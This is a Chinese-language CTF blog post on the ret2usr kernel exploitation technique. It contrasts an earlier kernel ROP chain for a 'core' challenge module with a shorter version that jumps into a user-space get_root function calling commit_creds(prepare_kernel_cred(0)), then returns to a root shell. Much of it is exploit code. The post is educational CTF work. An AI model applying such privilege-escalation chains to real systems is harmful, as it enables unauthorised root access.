仿生Kernel会梦到电子Pwn手么
因为我们的内核模块是在Ring 0
状态运行 根据我们之前的基础知识 内层Ring是可以随意访问外部Ring的资源的 所以我们如果可以在内核构造ROP链的时候 就可以直接传入一个用户空间的函数指针 让内核直接跳转到用户空间执行函数 以简便ROP流程
还是用我们之前Kernel ROP
的题目来做对比 具体分析这里不重复 先贴出之前的exp
cfor(i=0;i<10;i++)
{
rop[i]=canary;
}
rop[i++]=pop_rdi+gadget_base;
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
rop[i++]=mov_rdi_rax_pop_rbp_pop_r12_ret+gadget_base;
rop[i++]=0;
rop[i++]=0;
rop[i++]=commit_creds;
rop[i++]=swapgs_popfq_ret+gadget_base;
rop[i++]=0;
rop[i++]=iretq_ret+gadget_base;
rop[i++]=(size_t)spawn_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
可以看出来我们之前是费尽心思在内核态构建ROP链 以执行commit_creds(prepare_kernel_cred(0))
其中寻找gadget属实是废了一大波劲
但是如果使用ret2usr
手法的话 我们的exp可以优化成这样
cvoid get_root()
{
char* (*pkc)(int)=prepare_kernel_cred;
char* (*cc)(char *)=commit_creds;
(*cc)((*pkc)(0));
}
for(i=0;i<10;i++)
{
rop[i]=canary;
}
rop[i++]=(size_t)get_root;
rop[i++]=swapgs_popfq_ret+gadget_base;
rop[i++]=0;
rop[i++]=iretq_ret+gadget_base;
rop[i++]=(size_t)spawn_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
可以看到 我们直接在ROP链内传入了一个用户空间的函数指针 这样做可以降低构建Kernel ROP链
的难度
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!